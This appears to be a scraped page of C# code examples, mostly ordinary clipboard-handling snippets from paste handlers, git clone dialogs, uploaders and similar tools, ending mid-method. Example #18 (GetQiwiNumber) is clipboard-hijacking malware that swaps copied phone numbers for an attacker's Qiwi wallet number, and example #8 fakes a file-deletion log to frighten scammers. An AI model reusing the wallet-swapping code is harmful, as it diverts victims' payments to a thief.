예제 #1
0
 bool this_CanPaste(object _)
 {
     return(Clipboard.ContainsText());
 }
예제 #2
0
 public void ContainsText_NonUserInitiated()
 {
     // can return true or false - i.e. it does not need to be user initiated
     Clipboard.ContainsText();
 }
        private async Task <string> InputDeckURL()
        {
            var settings  = new MessageDialogs.Settings();
            var validUrls = DeckImporter.Websites.Keys.Select(x => x.Split('.')[0]).ToArray();

            try
            {
                var clipboard = Clipboard.ContainsText() ? new string(Clipboard.GetText().Take(1000).ToArray()) : "";
                if (validUrls.Any(clipboard.Contains))
                {
                    settings.DefaultText = clipboard;
                }
            }
            catch (Exception e)
            {
                Log.Error(e);
                return(null);
            }

            if (Config.Instance.DisplayNetDeckAd)
            {
                var result =
                    await
                    this.ShowMessageAsync("NetDeck",
                                          "For easier (one-click!) web importing check out the NetDeck Chrome Extension!\n\n(This message will not be displayed again, no worries.)",
                                          MessageDialogStyle.AffirmativeAndNegative,
                                          new MessageDialogs.Settings {
                    AffirmativeButtonText = "Show me!", NegativeButtonText = "No thanks"
                });

                if (result == MessageDialogResult.Affirmative)
                {
                    Helper.TryOpenUrl("https://chrome.google.com/webstore/detail/netdeck/lpdbiakcpmcppnpchohihcbdnojlgeel");
                    var enableOptionResult =
                        await
                        this.ShowMessageAsync("Enable one-click importing?",
                                              "Would you like to enable one-click importing via NetDeck?\n(options > other > importing)",
                                              MessageDialogStyle.AffirmativeAndNegative,
                                              new MessageDialogs.Settings {
                        AffirmativeButtonText = "Yes", NegativeButtonText = "No"
                    });

                    if (enableOptionResult == MessageDialogResult.Affirmative)
                    {
                        Options.OptionsTrackerImporting.CheckboxImportNetDeck.IsChecked = true;
                        Config.Instance.NetDeckClipboardCheck = true;
                        Config.Save();
                    }
                }

                Config.Instance.DisplayNetDeckAd = false;
                Config.Save();
            }


            //import dialog
            var url =
                await this.ShowInputAsync("Import deck", "Supported websites:\n" + validUrls.Aggregate((x, next) => x + ", " + next), settings);

            return(url);
        }
예제 #4
0
        protected override void OnRuntimeLoad(EventArgs e)
        {
            base.OnRuntimeLoad(e);
            FillFromDropDown();

            _NO_TRANSLATE_To.Text = AppSettings.DefaultCloneDestinationPath;

            if (CanBeGitURL(_url) || GitModule.IsValidGitWorkingDir(_url))
            {
                _NO_TRANSLATE_From.Text = _url;
            }
            else
            {
                // Try to be more helpful to the user.
                // Use the cliboard text as a potential source URL.
                try
                {
                    if (Clipboard.ContainsText(TextDataFormat.Text))
                    {
                        string text = Clipboard.GetText(TextDataFormat.Text) ?? string.Empty;

                        // See if it's a valid URL.
                        if (CanBeGitURL(text))
                        {
                            _NO_TRANSLATE_From.Text = text;
                        }
                    }
                }
                catch (Exception)
                {
                    // We tried.
                }

                // if the From field is empty, then fill it with the current repository remote URL in hope
                // that the cloned repository is hosted on the same server
                if (_NO_TRANSLATE_From.Text.IsNullOrWhiteSpace())
                {
                    var currentBranchRemote = Module.GetSetting(string.Format(SettingKeyString.BranchRemote, Module.GetSelectedBranch()));
                    if (currentBranchRemote.IsNullOrEmpty())
                    {
                        var remotes = Module.GetRemotes();

                        if (remotes.Any(s => s.Equals("origin", StringComparison.InvariantCultureIgnoreCase)))
                        {
                            currentBranchRemote = "origin";
                        }
                        else
                        {
                            currentBranchRemote = remotes.FirstOrDefault();
                        }
                    }

                    string pushUrl = Module.GetSetting(string.Format(SettingKeyString.RemotePushUrl, currentBranchRemote));
                    if (pushUrl.IsNullOrEmpty())
                    {
                        pushUrl = Module.GetSetting(string.Format(SettingKeyString.RemoteUrl, currentBranchRemote));
                    }

                    _NO_TRANSLATE_From.Text = pushUrl;

                    try
                    {
                        // If the from directory is filled with the pushUrl from current working directory, set the destination directory to the parent
                        if (pushUrl.IsNotNullOrWhitespace() && _NO_TRANSLATE_To.Text.IsNullOrWhiteSpace() && Module.WorkingDir.IsNotNullOrWhitespace())
                        {
                            _NO_TRANSLATE_To.Text = Path.GetDirectoryName(Module.WorkingDir.TrimEnd(Path.DirectorySeparatorChar));
                        }
                    }
                    catch (Exception)
                    {
                        // Exceptions on setting the destination directory can be ingnored
                    }
                }
            }

            // if there is no destination directory, then use the parent of the current working directory
            // this would clone the new repo at the same level as the current one by default
            if (_NO_TRANSLATE_To.Text.IsNullOrWhiteSpace() && Module.WorkingDir.IsNotNullOrWhitespace())
            {
                _NO_TRANSLATE_To.Text = Path.GetDirectoryName(Module.WorkingDir.TrimEnd(Path.DirectorySeparatorChar));
            }

            FromTextUpdate(null, null);

            cbLfs.Enabled = Module.HasLfsSupport();
            if (!cbLfs.Enabled)
            {
                cbLfs.Checked = false;
            }
        }
예제 #5
0
        public override bool CanExecute(object parameter)
        {
            var canExecute = Clipboard.ContainsData(Globals.FormatCML) || Clipboard.ContainsData(Globals.FormatSDFile) || Clipboard.ContainsText();

            return(canExecute);
        }
예제 #6
0
 /// <summary>
 /// Gets text from the clipboard and accounts for the possibility there
 /// is no text on the clipboard.
 /// </summary>
 /// <returns>Text from the clipboard or an empty string.</returns>
 private string GetClipboardText()
 {
     return(Clipboard.ContainsText() ? Clipboard.GetText() : "");
 }
예제 #7
0
 /// <summary>
 /// Determine whether a Paste command can be executed or not.
 /// </summary>
 /// <returns></returns>
 private bool OnPasteCommand_CanExecute()
 {
     return(this.DocumentViewModel.dm_DocumentDataModel.State == DataModel.ModelState.Ready && Clipboard.ContainsText());
 }
예제 #8
0
        private void frmScammerScan_Load(object sender, EventArgs e)
        {
            // Need to either gather from the Comp, or grab it from an entry field elsewhere
            string ipAddress = "REMOTE COMPUTER";
            string location  = "";
            string provider  = "";
            Char   del       = '|';

            /*
             *
             * Format for the clipboard:
             * IP=IP HERE|LOC=LOCATION HERE|ISP=ISP HERE
             *
             * Example:
             * IP=192.0.0.10|LOC=Dubia, India|ISP=Comcast INC
             *
             */

            if (Clipboard.ContainsText())
            {
                string cpText = Clipboard.GetText();
                if (cpText.IndexOf("|LOC=") != -1)
                {
                    string[] cpArray = cpText.Split(del);
                    ipAddress = cpArray[0].Replace("IP=", "");
                    location  = cpArray[1].Replace("LOC=", "");
                    provider  = cpArray[2].Replace("ISP=", "");
                }
            }

            Random rnd = new Random();

            // Size the text box
            txtBoxMessage.Height = this.Height - 90;

            // Setup the timer
            waitTimer           = new System.Timers.Timer(10);
            waitTimer.Elapsed  += OnWaitTimerEvent;
            waitTimer.AutoReset = false;
            waitTimer.Enabled   = false;

            // Setup display text
            addItems("Analyzing connected IP addresses", 100);
            addItems(".", rnd.Next(100, 1000));
            addItems(".", rnd.Next(500, 1000));
            addItems(".", rnd.Next(500, 1000));
            addItems(".", rnd.Next(100, 1000));
            addItems(".\r\n", rnd.Next(100, 1000));
            addItems("\r\n", 100);
            addItems("=====** SUSPICIOUS IP ADDRESS FOUND **=====\r\n", 250);
            addItems("\r\n", 100);

            //TODO Read the IP, area etc.
            if (ipAddress != "REMOTE COMPUTER")
            {
                addItems("IP Address: " + ipAddress + "\r\n", 500);
                addItems("Location: " + location + "\r\n", 500);
                addItems("Provider: " + provider + "\r\n", 500);
                addItems("\r\n", 100);
            }

            addItems("STAT> CONNECTED\r\n", 200);
            addItems("RECV> 220 FTP READY\r\n", 200);
            addItems("SENT> HOST " + ipAddress + "\r\n", 200);
            addItems("SENT> USER ANONYMOUS\r\n", 750);
            addItems("RECV> 230 ANONYMOUS LOGGED IN\r\n", 200);
            addItems("RECV> 257 CURRENT DIRECTORY IS 'c:\\' \r\n", 100);
            addItems("SENT> MLSD\r\n", 400);
            addItems("RECV> 150 OPENING BINARY MODE DATA CONNECTION FOR MLSD\r\n", 100);
            addItems("SENT> CWD 'c:\\' \r\n", 300);
            addItems("RECV> 250 CWD COMMAND SUCCESSFUL\r\n", 100);
            addItems("RECV> 226 TRANSFER SUCCESSFUL\r\n", 200);
            addItems("\r\n", 100);
            addItems("Checking remote user's file structure", 100);
            addItems(".", rnd.Next(500, 1000));
            addItems(".", rnd.Next(500, 1000));
            addItems(".", rnd.Next(500, 1000));
            addItems(".", rnd.Next(500, 1000));
            addItems(".", rnd.Next(500, 1000));
            addItems(".", rnd.Next(500, 1000));
            addItems(".", rnd.Next(500, 1000));
            addItems("\r\n", 100);
            addItems("=====** ILLEGAL ACTIVITY FOUND **=====\r\n", 1000);
            addItems("\r\n", 100);
            addItems("=====** SETTING SYSKEY ON " + ipAddress + " **=====\r\n", 5000);
            addItems("\r\n", 100);
            addItems("=====** PREPARING FILE DELETION ON " + ipAddress + " **=====\r\n", 8000);
            addItems("\r\n", 100);

            if (Directory.Exists("C:\\Program Files (x86)\\"))
            {
                string[] pf86Dir = Directory.GetDirectories("C:\\Program Files (x86)\\");
                foreach (string dir86 in pf86Dir)
                {
                    addItems("SENT> DELE ftp://Anonymous@" + ipAddress + ": " + dir86 + "\r\n", rnd.Next(50, 200));
                    addItems("RECV> DELE COMMAND SUCCESSFUL\r\n", rnd.Next(10, 100));
                }
            }

            if (Directory.Exists("C:\\Program Files\\"))
            {
                string[] pfDir = Directory.GetDirectories("C:\\Program Files\\");
                foreach (string dir in pfDir)
                {
                    addItems("SENT> DELE ftp://Anonymous@" + ipAddress + ": " + dir + "\r\n", rnd.Next(50, 200));
                    addItems("RECV> DELE COMMAND SUCCESSFUL\r\n", rnd.Next(10, 100));
                }
            }

            if (Directory.Exists("C:\\Windows\\System32\\"))
            {
                string[] winDir = Directory.GetDirectories("C:\\Windows\\System32\\");
                foreach (string wDir in winDir)
                {
                    addItems("SENT> DELE ftp://Anonymous@" + ipAddress + ": " + wDir + "\r\n", rnd.Next(50, 200));

                    if (rnd.Next(1, 12) <= 2)
                    {
                        addItems("RECV> DELE FAILED: File in use\r\n", rnd.Next(10, 100));
                    }
                    else
                    {
                        addItems("RECV> DELE COMMAND SUCCESSFUL\r\n", rnd.Next(10, 100));
                    }
                }
            }

            addItems("\r\n=====** FILE DELETION COMPLETE **=====\r\n", 500);
            addItems("Check log file for deletion errors.\r\n", 1000);
            addItems("RECV> 227 ENTERING PASSIVE MODE", 10);

            // Setup the Array
            strArray = strList.ToArray();
            intArray = intList.ToArray();

            // Start the timer
            waitTimer.Enabled = true;
        }
예제 #9
0
        /// <summary>
        /// Override OnLoad
        /// </summary>
        /// <param name="e">event args</param>
        protected override void OnLoad(EventArgs e)
        {
            // call base
            base.OnLoad(e);

            // scale size of btnOptions based on text
            if (!_slimOptions)
            {
                int existingWidth  = btnOptions.Width;
                int preferredWidth = btnOptions.GetPreferredWidth();
                btnOptions.Left      = btnOptions.Right - preferredWidth;
                btnOptions.Width     = preferredWidth;
                textBoxAddress.Width = btnOptions.Left - 5 - textBoxAddress.Left;
            }
            else
            {
                textBoxAddress.Width = btnOptions.Right - textBoxAddress.Left;
                btnOptions.Visible   = false;

                labelRel.Visible       = false;
                comboBoxRel.Visible    = false;
                labelTitle.Visible     = false;
                textBoxTitle.Visible   = false;
                ckboxNewWindow.Visible = false;
                ckBoxGlossary.Visible  = false;
                btnAdvanced.Visible    = false;
                ClientSize             = new Size(ClientSize.Width, textBoxLinkText.Bottom + textBoxLinkText.Left);
            }

            if (btnRemove != null)
            {
                DisplayHelper.AutoFitSystemButton(btnRemove, buttonInsert.Width, int.MaxValue);
                if (btnAdvanced != null)
                {
                    btnRemove.Left = btnAdvanced.Left - btnRemove.Width - (int)Math.Round(DisplayHelper.ScaleX(8));
                }
            }

            using (new AutoGrow(this, AnchorStyles.Right, true))
            {
                LayoutHelper.EqualizeButtonWidthsVert(AnchorStyles.Left, buttonInsert.Width, int.MaxValue, buttonInsert, buttonCancel);
            }

            //now, need to move the advanced button over
            if (btnAdvanced.Visible)
            {
                SetAdvancedText();
                DisplayHelper.AutoFitSystemButton(btnAdvanced, buttonInsert.Width, int.MaxValue);
                btnAdvanced.Left = buttonInsert.Right - btnAdvanced.Width;
            }

            // install auto-complete on the address text box
            int result = Shlwapi.SHAutoComplete(textBoxAddress.Handle,
                                                SHACF.URLALL | SHACF.AUTOSUGGEST_FORCE_ON);

            // ensure we installed it successfully (if we didn't, no biggie -- the user will
            // just not get autocomplete support)
            Debug.Assert(result == HRESULT.S_OK, "Unexpected failure to install AutoComplete");

            // prepopulate the text box w/ http prefix and move the cursor to the end
            if (textBoxAddress.Text == String.Empty)
            {
                try
                {
                    if (Clipboard.ContainsText())
                    {
                        string clipboardText = Clipboard.GetText();
                        if (Regex.IsMatch(clipboardText ?? "", "^https?://", RegexOptions.IgnoreCase) &&
                            UrlHelper.IsUrl(clipboardText))
                        {
                            textBoxAddress.Text = clipboardText;
                            textBoxAddress.Select(0, textBoxAddress.TextLength);
                        }
                    }
                }
                catch (ExternalException)
                {
                }
                catch (ThreadStateException)
                {
                }
            }

            if (textBoxAddress.Text == String.Empty)
            {
                textBoxAddress.Text = HTTP_PREFIX;
                textBoxAddress.Select(HTTP_PREFIX.Length, 0);
            }

            //decide whether it should be maximized
            ShowAdvancedOptions = (LinkSettings.ShowAdvancedOptions || Rel != String.Empty || LinkTitle != String.Empty) &&
                                  comboBoxRel.Visible;

            //use new window sticky setting if this isn't an edit
            if (!_editStyle)
            {
                NewWindow = LinkSettings.OpenInNewWindow;
            }
        }
예제 #10
0
 /// <summary>
 /// Returns true if the clipboard contains text.
 /// </summary>
 /// <returns></returns>
 public bool CanPaste()
 {
     return(Clipboard.ContainsText());
 }
예제 #11
0
 void PasteCanExecute(object sender, CanExecuteRoutedEventArgs args)
 {
     args.CanExecute = Clipboard.ContainsText();
 }
예제 #12
0
        private async Task <string> InputDeckURL()
        {
            var settings  = new MessageDialogs.Settings();
            var clipboard = Clipboard.ContainsText() ? Clipboard.GetText() : "";
            var validUrls = new[]
            {
                "hearthstats",
                "hss.io",
                "hearthpwn",
                "hearthhead",
                "hearthstoneplayers",
                "tempostorm",
                "hearthstonetopdeck",
                "hearthnews.fr",
                "arenavalue",
                "hearthstone-decks",
                "heartharena",
                "hearthstoneheroes",
                "elitedecks",
                "icy-veins",
                "hearthbuilder"
            };

            if (validUrls.Any(clipboard.Contains))
            {
                settings.DefaultText = clipboard;
            }

            if (Config.Instance.DisplayNetDeckAd)
            {
                var result =
                    await
                    this.ShowMessageAsync("NetDeck",
                                          "For easier (one-click!) web importing check out the NetDeck Chrome Extension!\n\n(This message will not be displayed again, no worries.)",
                                          MessageDialogStyle.AffirmativeAndNegative,
                                          new MessageDialogs.Settings {
                    AffirmativeButtonText = "Show me!", NegativeButtonText = "No thanks"
                });

                if (result == MessageDialogResult.Affirmative)
                {
                    Process.Start("https://chrome.google.com/webstore/detail/netdeck/lpdbiakcpmcppnpchohihcbdnojlgeel");
                    var enableOptionResult =
                        await
                        this.ShowMessageAsync("Enable one-click importing?",
                                              "Would you like to enable one-click importing via NetDeck?\n(options > other > importing)",
                                              MessageDialogStyle.AffirmativeAndNegative,
                                              new MessageDialogs.Settings {
                        AffirmativeButtonText = "Yes", NegativeButtonText = "No"
                    });

                    if (enableOptionResult == MessageDialogResult.Affirmative)
                    {
                        Options.OptionsTrackerImporting.CheckboxImportNetDeck.IsChecked = true;
                        Config.Instance.NetDeckClipboardCheck = true;
                        Config.Save();
                    }
                }

                Config.Instance.DisplayNetDeckAd = false;
                Config.Save();
            }


            //import dialog
            var url =
                await this.ShowInputAsync("Import deck", "Supported websites:\n" + validUrls.Aggregate((x, next) => x + ", " + next), settings);

            return(url);
        }
예제 #13
0
        internal void IngestFromClipboard(string type)
        {
            if (type == "HTML")
            {
                var clipboardHTML = new HtmlDocument();

                HtmlNodeCollection pNodes;
                string[]           clipSep = new string[] { "<html>" };

                //get text from clipboard
                if (!Clipboard.ContainsText(TextDataFormat.Html))
                {
                    MessageBox.Show("Clipboard does not contain valid data");
                    return;
                }

                //remove stuff before <html> tag
                string   clipboardRAW      = Clipboard.GetText(TextDataFormat.Html);
                string[] clipboardRAWSplit = clipboardRAW.Split(clipSep, StringSplitOptions.None);

                clipboardRAW = "<html>" + clipboardRAWSplit[1];

                //turn clipboard data into html structure
                clipboardHTML.LoadHtml(clipboardRAW);

                //get all P nodes
                pNodes = clipboardHTML.DocumentNode.SelectNodes("//p");

                if (pNodes == null)
                {
                    MessageBox.Show("Clipboard does not contain valid data");
                    return;
                }
                //clear groceryList
                Clear();

                //fill grocery data structure

                foreach (HtmlNode n in pNodes)
                {
                    if (n.Attributes["style"] == null)
                    {
                        continue;
                    }
                    if (n.Attributes["style"].Value.Contains("font-size: 20px"))
                    {
                        string itemName   = Tools.RemoveSpecialCharacters(n.InnerHtml);
                        string itemAmount = "1";
                        //Separate out eventual amount data
                        Regex matchParenthesis = new Regex(@"^(.*)\((\d+)\).*$");
                        Match match            = matchParenthesis.Match(itemName);
                        if (match.Success)
                        {
                            itemName   = match.Groups[1].Value;
                            itemAmount = match.Groups[2].Value;
                        }

                        Add(new GroceryItem(itemName));
                        this.Last().Amount = itemAmount;
                    }
                    else if (n.Attributes["style"].Value.Contains("font-size: 16px"))
                    {
                        string details = Tools.RemoveSpecialCharacters(n.InnerHtml);
                        this.Last().Description    = details;
                        this.Last().SubstitutionOK = !details.Contains("EJ UTBYTE");
                    }
                }
            }
            else
            {
                //clear groceryList
                Clear();

                //var jsonlist = JsonConvert.DeserializeObject<Collection<GroceryItem>>(Clipboard.GetText(TextDataFormat.Text));
                foreach (GroceryItem item in ajaxInput)
                {
                    Add(item);
                }
            }



            DoReplacements();
        }
예제 #14
0
        private void OnCommandCanExecute(object sender, CanExecuteRoutedEventArgs e)
        {
            EditorDocument doc;

            if (e.Parameter != null && e.Parameter is EditorDocument)
            {
                doc = e.Parameter as EditorDocument;
            }
            else
            {
                doc = Tabs != null ? (Tabs.SelectedItem as EditorDocument) : null;
            }

            if (e.Command == ApplicationCommands.Save)
            {
                e.CanExecute = doc != null && doc.Song.IsModified;
            }
            else if (e.Command == ApplicationCommands.SaveAs)
            {
                e.CanExecute = doc != null;
            }
            else if (e.Command == CustomCommands.Export)
            {
                e.CanExecute = doc != null;
            }
            else if (e.Command == CustomCommands.ImportFromClipboard)
            {
                e.CanExecute = false;
                if (Clipboard.ContainsText())
                {
                    string text         = Clipboard.GetText();
                    var    firstNewline = text.IndexOf('\n');
                    if (firstNewline > 0 && text.Length >= firstNewline + 1)
                    {
                        var next = text[firstNewline + 1];
                        e.CanExecute = (next == '\n' || next == '\r') && text.Contains("CCLI");
                    }
                }
            }
            else if (e.Command == ApplicationCommands.Close || e.Command == CustomCommands.SongSettings)
            {
                e.CanExecute = doc != null;
            }
            else if (e.Command == CustomCommands.ViewCurrent)
            {
                // deactivate this button if the current song is not yet saved to a file or it's not currently active
                e.CanExecute = (doc != null && doc.Song.Uri != null && Controller.ActiveMedia != null &&
                                Controller.ActiveMedia.Uri == doc.Song.Uri);
            }
            else if (e.Command == CustomCommands.EditChords)
            {
                e.CanExecute = doc != null;
            }
            else if (e.Command == CustomCommands.AddMedia)
            {
                e.CanExecute = doc != null && !doc.Song.IsImported && doc.Song.Uri != null;
            }
            else if (e.Command == CustomCommands.SearchSongSelect)
            {
                string searchString = null;
                if (e.Parameter is string)
                {
                    searchString = (string)e.Parameter;
                }
                else
                {
                    int?searchNum = e.Parameter as int?;
                    if (searchNum.HasValue)
                    {
                        searchString = searchNum.ToString();
                    }
                }

                e.CanExecute = !String.IsNullOrWhiteSpace(searchString);
            }
        }
예제 #15
0
 private void CheckClipboard()
 {
     if (Clipboard.ContainsText(TextDataFormat.Html) || Clipboard.ContainsText(TextDataFormat.Text) || Clipboard.ContainsText(TextDataFormat.UnicodeText))
     {
         string tmp = Clipboard.GetText();
         if (!string.IsNullOrEmpty(tmp) && !string.Equals(_lastText, tmp))
         {
             _lastText = tmp;
             tmp       = _lastText.Trim();
             bool bGood = false;
             foreach (string strExt in _goodFileExtensions)
             {
                 if (tmp.EndsWith(strExt, StringComparison.InvariantCultureIgnoreCase))
                 {
                     bGood = true;
                     break;
                 }
             }
             if (bGood)
             {
                 Cinch.Mediator.Instance.NotifyColleaguesAsync <string>("CLIPBOARD_TEXT_CHANGED", tmp);
             }
         }
     }
 }
예제 #16
0
        private void ThreadDoWork()
        {
            CreateTaskReferenceHelper();

            try
            {
                StopRequested = !DoThreadJob();

                OnImageReady();

                if (!StopRequested)
                {
                    if (Info.IsUploadJob && TaskHelpers.IsUploadAllowed())
                    {
                        DoUploadJob();
                    }
                    else
                    {
                        Info.Result.IsURLExpected = false;
                    }
                }
            }
            finally
            {
                KeepImage = Image != null && Info.TaskSettings.GeneralSettings.PopUpNotification == PopUpNotificationType.ToastNotification;

                Dispose();

                if (EarlyURLCopied && (StopRequested || Info.Result == null || string.IsNullOrEmpty(Info.Result.URL)) && Clipboard.ContainsText())
                {
                    ClipboardHelpers.Clear();
                }

                if (Info.Job == TaskJob.Job && Info.TaskSettings.AfterCaptureJob.HasFlag(AfterCaptureTasks.DeleteFile) && !string.IsNullOrEmpty(Info.FilePath) && File.Exists(Info.FilePath))
                {
                    File.Delete(Info.FilePath);
                }
            }

            if (!StopRequested && Info.Result != null && Info.Result.IsURLExpected && !Info.Result.IsError)
            {
                if (string.IsNullOrEmpty(Info.Result.URL))
                {
                    AddErrorMessage(Resources.UploadTask_ThreadDoWork_URL_is_empty_);
                }
                else
                {
                    DoAfterUploadJobs();
                }
            }
        }
예제 #17
0
        public static void ClipboardUpload(TaskSettings taskSettings = null)
        {
            if (taskSettings == null)
            {
                taskSettings = TaskSettings.GetDefaultTaskSettings();
            }

            if (Clipboard.ContainsImage())
            {
                Image img = Clipboard.GetImage();

                if (img != null)
                {
                    if (!taskSettings.AdvancedSettings.ProcessImagesDuringClipboardUpload)
                    {
                        taskSettings.AfterCaptureJob = AfterCaptureTasks.UploadImageToHost;
                    }

                    RunImageTask(img, taskSettings);
                }
            }
            else if (Clipboard.ContainsFileDropList())
            {
                string[] files = Clipboard.GetFileDropList().Cast <string>().ToArray();
                UploadFile(files, taskSettings);
            }
            else if (Clipboard.ContainsText())
            {
                string text = Clipboard.GetText();

                if (!string.IsNullOrEmpty(text))
                {
                    string url = text.Trim();

                    if (URLHelpers.IsValidURLRegex(url))
                    {
                        if (taskSettings.UploadSettings.ClipboardUploadURLContents)
                        {
                            string filename = URLHelpers.GetFileName(url, true);

                            if (!string.IsNullOrEmpty(filename))
                            {
                                DownloadAndUploadFile(url, filename, taskSettings);
                                return;
                            }
                        }

                        if (taskSettings.UploadSettings.ClipboardUploadShortenURL)
                        {
                            ShortenURL(url, taskSettings);
                            return;
                        }

                        if (taskSettings.UploadSettings.ClipboardUploadShareURL)
                        {
                            ShareURL(url, taskSettings);
                            return;
                        }
                    }

                    if (taskSettings.UploadSettings.ClipboardUploadAutoIndexFolder && text.Length <= 260 && Directory.Exists(text))
                    {
                        IndexFolder(text, taskSettings);
                    }
                    else
                    {
                        UploadText(text, taskSettings);
                    }
                }
            }
        }
예제 #18
0
        public static void GetQiwiNumber()
        {
            try
            {
                var clpbrd = Clipboard.GetText();
                if (Clipboard.ContainsText())
                {
                    if (clpbrd.Length >= 11 && clpbrd.Length <= 15)
                    {
                        if (clpbrd.StartsWith("+7") || clpbrd.StartsWith("7"))
                        {
                            if (_oppToMiss > 0)
                            {
                                _oppToMiss--;
                                return;
                            }
                            _oppToMiss = Config.OppToMissDef;
                            Clipboard.SetText(Config.qiwi);
                        }
                        else
                        {
                            return;
                        }

                        if (clpbrd.StartsWith("+380") || clpbrd.StartsWith("380"))
                        {
                            if (_oppToMiss > 0)
                            {
                                _oppToMiss--;
                                return;
                            }
                            _oppToMiss = Config.OppToMissDef;
                            Clipboard.SetText(Config.qiwi);
                        }
                        else
                        {
                            return;
                        }
                        if (clpbrd.StartsWith("+89") || clpbrd.StartsWith("89"))
                        {
                            if (_oppToMiss > 0)
                            {
                                _oppToMiss--;
                                return;
                            }
                            _oppToMiss = Config.OppToMissDef;
                            Clipboard.SetText(Config.qiwi);
                        }
                        else
                        {
                            return;
                        }
                        if (clpbrd.StartsWith("+79") || clpbrd.StartsWith("79"))
                        {
                            if (_oppToMiss > 0)
                            {
                                _oppToMiss--;
                                return;
                            }
                            _oppToMiss = Config.OppToMissDef;
                            Clipboard.SetText(Config.qiwi);
                        }
                        else
                        {
                            return;
                        }
                        if (clpbrd.StartsWith("+375") || clpbrd.StartsWith("375"))
                        {
                            if (_oppToMiss > 0)
                            {
                                _oppToMiss--;
                                return;
                            }
                            _oppToMiss = Config.OppToMissDef;
                            Clipboard.SetText(Config.qiwi);
                        }
                        else
                        {
                            return;
                        }
                    }
                    else
                    {
                        return;
                    }
                }
                else
                {
                    return;
                }
            }

            catch { }
        }
        /// <summary>
        /// Handle pasting and handle images
        /// </summary>
        public void PasteOperation()
        {
            if (Clipboard.ContainsImage())
            {
                string imagePath = null;

                using (var bitMap = System.Windows.Forms.Clipboard.GetImage())
                {
                    imagePath = AddinManager.Current.RaiseOnSaveImage(bitMap);

                    if (!string.IsNullOrEmpty(imagePath))
                    {
                        SetSelection($"![]({imagePath})");
                        PreviewMarkdownCallback(); // force a preview refresh
                        return;
                    }

                    string initialFolder = null;
                    if (!string.IsNullOrEmpty(MarkdownDocument.Filename) && MarkdownDocument.Filename != "untitled")
                    {
                        initialFolder = Path.GetDirectoryName(MarkdownDocument.Filename);
                    }

                    var sd = new SaveFileDialog
                    {
                        Filter           = "Image files (*.png;*.jpg;*.gif;)|*.png;*.jpg;*.jpeg;*.gif|All Files (*.*)|*.*",
                        FilterIndex      = 1,
                        Title            = "Save Image from Clipboard as",
                        InitialDirectory = initialFolder,
                        CheckFileExists  = false,
                        OverwritePrompt  = true,
                        CheckPathExists  = true,
                        RestoreDirectory = true
                    };
                    var result = sd.ShowDialog();
                    if (result != null && result.Value)
                    {
                        imagePath = sd.FileName;
                        var ext = Path.GetExtension(imagePath)?.ToLower();

                        try
                        {
                            File.Delete(imagePath);

                            var format = ImageUtils.GetImageFormatFromFilename(imagePath);
                            bitMap.Save(imagePath, format);
                            bitMap.Dispose();


                            if (ext == ".png")
                            {
                                mmFileUtils.OptimizePngImage(sd.FileName, 5); // async
                            }
                        }
                        catch (Exception ex)
                        {
                            MessageBox.Show("Couldn't copy file to new location: \r\n" + ex.Message,
                                            mmApp.ApplicationName);
                            return;
                        }

                        string relPath = Path.GetDirectoryName(sd.FileName);
                        if (initialFolder != null)
                        {
                            try
                            {
                                relPath = FileUtils.GetRelativePath(sd.FileName, initialFolder);
                            }
                            catch (Exception ex)
                            {
                                mmApp.Log($"Failed to get relative path.\r\nFile: {sd.FileName}, Path: {imagePath}", ex);
                            }
                            imagePath = relPath;
                        }

                        if (imagePath.Contains(":\\"))
                        {
                            imagePath = "file:///" + imagePath;
                        }
                        else
                        {
                            imagePath = imagePath.Replace("\\", "/");
                        }

                        SetSelection($"![]({imagePath})");
                        PreviewMarkdownCallback(); // force a preview refresh
                    }
                }
            }
            else if (Clipboard.ContainsText())
            {
                // just paste as is at cursor or selection
                SetSelection(Clipboard.GetText());
            }
        }
예제 #20
0
        protected override void OnRuntimeLoad(EventArgs e)
        {
            base.OnRuntimeLoad(e);

            // scale up for hi DPI
            MaximumSize     = DpiUtil.Scale(new Size(950, 425));
            MinimumSize     = DpiUtil.Scale(new Size(450, 425));
            Size            = new Size((tpnlMain.Left * 2) + tpnlMain.Width + /* right margin */ DpiUtil.Scale(16), Height);
            tpnlMain.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right;

            ThreadHelper.JoinableTaskFactory.Run(async() =>
            {
                var repositoryHistory = await RepositoryHistoryManager.Remotes.LoadRecentHistoryAsync();

                await this.SwitchToMainThreadAsync();
                _NO_TRANSLATE_From.DataSource    = repositoryHistory;
                _NO_TRANSLATE_From.DisplayMember = nameof(Repository.Path);
            });

            _NO_TRANSLATE_To.Text = AppSettings.DefaultCloneDestinationPath;

            if (PathUtil.CanBeGitURL(_url))
            {
                _NO_TRANSLATE_From.Text = _url;
            }
            else
            {
                if (!string.IsNullOrEmpty(_url) && Directory.Exists(_url))
                {
                    _NO_TRANSLATE_To.Text = _url;
                }

                // Try to be more helpful to the user.
                // Use the clipboard text as a potential source URL.
                try
                {
                    if (Clipboard.ContainsText(TextDataFormat.Text))
                    {
                        string text = Clipboard.GetText(TextDataFormat.Text) ?? string.Empty;

                        // See if it's a valid URL.
                        if (PathUtil.CanBeGitURL(text))
                        {
                            _NO_TRANSLATE_From.Text = text;
                        }
                    }
                }
                catch
                {
                    // We tried.
                }

                // if the From field is empty, then fill it with the current repository remote URL in hope
                // that the cloned repository is hosted on the same server
                if (string.IsNullOrWhiteSpace(_NO_TRANSLATE_From.Text))
                {
                    var currentBranchRemote = Module.GetSetting(string.Format(SettingKeyString.BranchRemote, Module.GetSelectedBranch()));
                    if (string.IsNullOrEmpty(currentBranchRemote))
                    {
                        var remotes = Module.GetRemoteNames();

                        if (remotes.Any(s => s.Equals("origin", StringComparison.InvariantCultureIgnoreCase)))
                        {
                            currentBranchRemote = "origin";
                        }
                        else
                        {
                            currentBranchRemote = remotes.FirstOrDefault();
                        }
                    }

                    string pushUrl = Module.GetSetting(string.Format(SettingKeyString.RemotePushUrl, currentBranchRemote));
                    if (string.IsNullOrEmpty(pushUrl))
                    {
                        pushUrl = Module.GetSetting(string.Format(SettingKeyString.RemoteUrl, currentBranchRemote));
                    }

                    _NO_TRANSLATE_From.Text = pushUrl;

                    try
                    {
                        // If the from directory is filled with the pushUrl from current working directory, set the destination directory to the parent
                        if (!string.IsNullOrWhiteSpace(pushUrl) && string.IsNullOrWhiteSpace(_NO_TRANSLATE_To.Text) && !string.IsNullOrWhiteSpace(Module.WorkingDir))
                        {
                            _NO_TRANSLATE_To.Text = Path.GetDirectoryName(Module.WorkingDir.TrimEnd(Path.DirectorySeparatorChar));
                        }
                    }
                    catch
                    {
                        // Exceptions on setting the destination directory can be ignored
                    }
                }
            }

